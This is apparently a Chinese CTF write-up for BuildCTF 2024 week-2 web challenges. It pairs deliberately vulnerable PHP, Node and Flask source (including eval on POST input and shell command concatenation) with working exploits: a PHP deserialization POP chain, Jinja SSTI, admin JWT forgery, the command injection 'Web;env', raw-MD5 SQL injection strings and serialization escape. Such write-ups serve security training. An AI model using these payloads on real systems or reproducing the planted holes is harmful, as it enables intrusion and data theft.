2024BuildCTF week2 WEB
1315609050541697 发表于 湖北 CTF 242浏览 · 2024-10-26 00:39

week2

LovePopChain

源码如下

<?php

class MyObject{

    public $NoLove="Do_You_Want_Fl4g?";

    public $Forgzy;

    public function __wakeup()

    {

        if($this->NoLove == "Do_You_Want_Fl4g?"){

            echo 'Love but not getting it!!';

        }

    }

    public function __invoke()

    {

        $this->Forgzy = clone new GaoZhouYue();

    }

}



class GaoZhouYue{

    public $Yuer;

    public $LastOne;

    public function __clone()

    {

        echo '最后一次了, 爱而不得, 未必就是遗憾~~';

        eval($_POST['y3y4']);

    }

}



class hybcx{

    public $JiuYue;

    public $Si;



    public function __call($fun1,$arg){

        $this->Si->JiuYue=$arg[0];

    }



    public function __toString(){

        $ai = $this->Si;

        echo 'I W1ll remember you';

        return $ai();

    }

}





if(isset($_GET['No_Need.For.Love'])){

    @unserialize($_GET['No_Need.For.Love']);

}else{

    highlight_file(__FILE__);

}

构造pop链如下

<?php
class MyObject
{

    public $NoLove = "Do_You_Want_Fl4g?";

    public $Forgzy;

}



class GaoZhouYue

{

    public $Yuer;

    public $LastOne;

}



class hybcx

{

    public $JiuYue;

    public $Si;

}

$a = new MyObject;

$b = new hybcx;

$c = new MyObject;

$d = new GaoZhouYue;

$c->Forgzy = $d;

$b->Si = $c;

$a->NoLove = $b;

echo serialize($a);

eazyl0gin

源码如下

var express = require('express');

var router = express.Router();

const crypto = require('crypto');

const { type } = require('os');



/* GET users listing. */

router.get('/', function(req, res, next) {

  res.send('respond with a resource');

});



router.post('/login',function(req,res,next){

  var data = {

    username: String(req.body.username),

    password: String(req.body.password)

  }

  const md5 = crypto.createHash('md5');

  const flag = process.env.flag



  if(data.username.toLowerCase()==='buildctf'){

    return res.render('login',{data:"你不许用buildctf账户登陆"})

  }



  if(data.username.toUpperCase()!='BUILDCTF'){

    return res.render('login',{data:"只有buildctf这一个账户哦~"})

  }

  var md5pwd = md5.update(data.password).digest('hex')

  if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){

    return res.render('login',{data:"密码错误"})

  }

  return res.render('login',{data:flag})



})

module.exports = router;

考察js的大小写转换特性:在toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。在toLowerCase()函数中,字符İ会转变为i,字符K会转变为k

所以我们可以传入绕过username同时MD5爆破密码为012346成功登录

buıldctf

RedFlag

源码

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
    return open(__file__).read()
@app.route('/redflag/<path:redflag>')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
    return flask.render_template_string(safe_jinja(redflag))

发现禁用了括号,那么基本不可能ssti rce,但是有环境变量flag可以直接读取

{{url_for.__globals__['current_app'].config.FLAG}}

ezweb

源码

import datetime
import jwt

import os

import subprocess

from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response

from werkzeug.security import generate_password_hash, check_password_hash



app = Flask(__name__)

app.secret_key = 'BuildCTF'

app.config['JWT_SECRET_KEY'] = 'BuildCTF'



DOCUMENT_DIR = os.path.abspath('src/docs')

users = {}



messages = []



@app.route('/message', methods=['GET', 'POST'])

def message():

    if request.method == 'POST':

        name = request.form.get('name')

        content = request.form.get('content')



        messages.append({'name': name, 'content': content})

        flash('Message posted')

        return redirect(url_for('message'))  



    return render_template('message.html', messages=messages)



@app.route('/register', methods=['GET', 'POST'])

def register():

    if request.method == 'POST':

        username = request.form.get('username')

        password = request.form.get('password')

        if username in users:

            flash('Username already exists')

            return redirect(url_for('register'))

        users[username] = {'password': generate_password_hash(password), 'role': 'user'}

        flash('User registered successfully')

        return redirect(url_for('login'))

    return render_template('register.html')



@app.route('/login', methods=['POST', 'GET'])

def login():

    if request.method == 'POST':

        username = request.form.get('username')

        password = request.form.get('password')

        if username in users and check_password_hash(users[username]['password'], password):

            access_token = jwt.encode({

                'sub': username,

                'role': users[username]['role'],

                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)

            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')

            response = make_response(render_template('page.html'))

            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')

            # response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')

            return response

        else:

            return jsonify({"msg": "Invalid username or password"}), 401

    return render_template('login.html')



@app.route('/logout')

def logout():

    resp = make_response(redirect(url_for('index')))

    resp.set_cookie('jwt', '', expires=0)

    flash('You have been logged out')

    return resp



@app.route('/')

def index():

    return render_template('index.html')



@app.route('/page')

def page():

    jwt_token = request.cookies.get('jwt')

    if jwt_token:

        try:

            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])

            current_user = payload['sub']

            role = payload['role']

        except jwt.ExpiredSignatureError:

            return jsonify({"msg": "Token has expired"}), 401

        except jwt.InvalidTokenError:

            return jsonify({"msg": "Invalid token"}), 401

        except Exception as e:

            return jsonify({"msg": "Invalid or expired token"}), 401



        if role != 'admin' or current_user not in users:

            return abort(403, 'Access denied')



        file = request.args.get('file', '')

        file_path = os.path.join(DOCUMENT_DIR, file)

        file_path = os.path.normpath(file_path)

        if not file_path.startswith(DOCUMENT_DIR):

            return abort(400, 'Invalid file name')



        try:

            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)

        except subprocess.CalledProcessError as e:

            content = str(e)

        except Exception as e:

            content = str(e)

        return render_template('page.html', content=content)

    else:

        return abort(403, 'Access denied')




@app.route('/categories')

def categories():

    return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])



if __name__ == '__main__':

    app.run(host='0.0.0.0', port=5050)

jwtkey有了直接伪造admin

import datetime

import jwt

import os

import subprocess

from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response

from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)

app.secret_key = 'BuildCTF'

app.config['JWT_SECRET_KEY'] = 'BuildCTF'

access_token = jwt.encode({

                'sub': 'admin',

                'role': 'admin',

                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)

            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')

print(access_token)

其中有个page路由有命令执行并且可以拼接
直接传入

Web;env

ez_md5

开局给了个sql登录

$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";

可以使用以下代码验证:

<?php
    $a='ffifdyop';
    $b='129581926211651571912466741651878684928';
    $bb=md5($a,TRUE);
    echo $bb;
    echo "\n";
    $cc=md5($b,true);
    echo $cc
    ?>

结果都有'or' 结构
在经过长时间的碰撞后,比较常用的是以下两种:
数字型:129581926211651571912466741651878684928
字符型:ffifdyop

ffifdyop
129581926211651571912466741651878684928

下一关源码

<?php
error_reporting(0);
///robots
highlight_file(__FILE__);

include("flag.php");

$Build=$_GET['a'];

$CTF=$_GET['b'];

if($_REQUEST) {

    foreach($_REQUEST as $value) {

        if(preg_match('/[a-zA-Z]/i', $value))  

            die('不可以哦!');

    }

}

if($Build != $CTF && md5($Build) == md5($CTF))

{

    if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")

    {

        echo $flag;

    }else die("再想想");



}else die("不是吧这么简单的md5都过不去?");

?>

根据robots.txt提示需要md5爆破

import hashlib
import threading

target_hash = "3e41f780146b6c246cd49dd296a3da28"
prefix = "114514"
found = False

def crack_password(start, end):
    global found
    for i in range(start, end):
        if found:
            break
        guess = f"{prefix}{i:07d}"
        hashed_guess = hashlib.md5(guess.encode()).hexdigest()
        if hashed_guess == target_hash:
            print(f"Password found: {guess}")
            found = True
            break




def main():

    threads = []
    num_threads = 10
    range_per_thread = 10000000 // num_threads
    for i in range(num_threads):

        start = i * range_per_thread

        end = (i + 1) * range_per_thread

        thread = threading.Thread(target=crack_password, args=(start, end))

        threads.append(thread)

        thread.start()
    for thread in threads:
        thread.join()

if __name__ == "__main__":

    main()

注意:cookie也是request的变量需要清理一下防止被waf

Why_so_serials?

源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=false;
    public function __construct($Bruce,$Wayne){

        $this->Bruce = $Bruce;

        $this->Wayne = $Wayne;

    }

}



if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
    $Bruce = $_GET['Bruce'];
    $Wayne = $_GET['Wayne'];



    $city = new Gotham($Bruce,$Wayne);

    if(preg_match("/joker/", $Wayne)){

        $serial_city = str_replace('joker', 'batman', serialize($city));

        $boom = unserialize($serial_city);

        if($boom->crime){

            echo $flag;
        }
    }else{
    echo "no crime";
    }

}else{

    echo "HAHAHAHA batman can't catch me!";

}

可以看出通过字符替换,会导致字符逃逸
脚本构造逃逸出";s:5:"crime";b:1;}

<?php
class Gotham

{

    public $Bruce;

    public $Wayne;

    public $crime = false;

    public function __construct($Bruce, $Wayne)

    {

        $this->Bruce = $Bruce;

        $this->Wayne = $Wayne;

    }

}

$a = new Gotham('123', 'joker');

$b = serialize($a);

print($b); #O:6:"Gotham":3:{s:5:"Bruce";s:3:"123";s:5:"Wayne";s:5:"joker";s:5:"crime";b:0;}

#";s:5:"crime";b:1;}

echo "\n";

$c = 'jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';

$a = new Gotham('123', $c);

Cookie_Factory

const express = require('express')
const app = express();

const http = require('http').Server(app);

const port = 3000;

const socketIo = require('socket.io');
const io = socketIo(http);


let sessions = {}
let errors = {}

app.use(express.static(__dirname));

app.get('/', (req, res) => {
    res.sendFile("./index.html")
})

io.on('connection', (socket) => {
    sessions[socket.id] = 0
    errors[socket.id] = 0

    socket.on('disconnect', () => {
        console.log('user disconnected');
    });

    socket.on('chat message', (msg) => {
        socket.emit('chat message', msg);
    });

    socket.on('receivedError', (msg) => {
        sessions[socket.id] = errors[socket.id]
        socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
    });

    socket.on('click', (msg) => {
        let json = JSON.parse(msg)

        if (sessions[socket.id] > 1e20) {
            socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
            return;
        }

        if (json.value != sessions[socket.id]) {
            socket.emit("error", "previous value does not match")
        }

        let oldValue = sessions[socket.id]
        let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

        sessions[socket.id] = newValue
        socket.emit('recievedScore', JSON.stringify({"value":newValue}));

        if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value":oldValue}));
        }

        errors[socket.id] = oldValue;
    });
});

http.listen(port, () => {
    console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

通过代码审计发现需要得分>1e20,我没通过控制台修改变量成功实现,但是代码逻辑的赋值在给判断之前,也就是第二次发包,才能进去判断得到flag

而当赋值过大会导致重新分数回到0

if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value":oldValue}));
        }

但是可以通过抓包拦截,将error包丢弃即可不清0拿到flag

0 条评论
某人
表情
可输入 255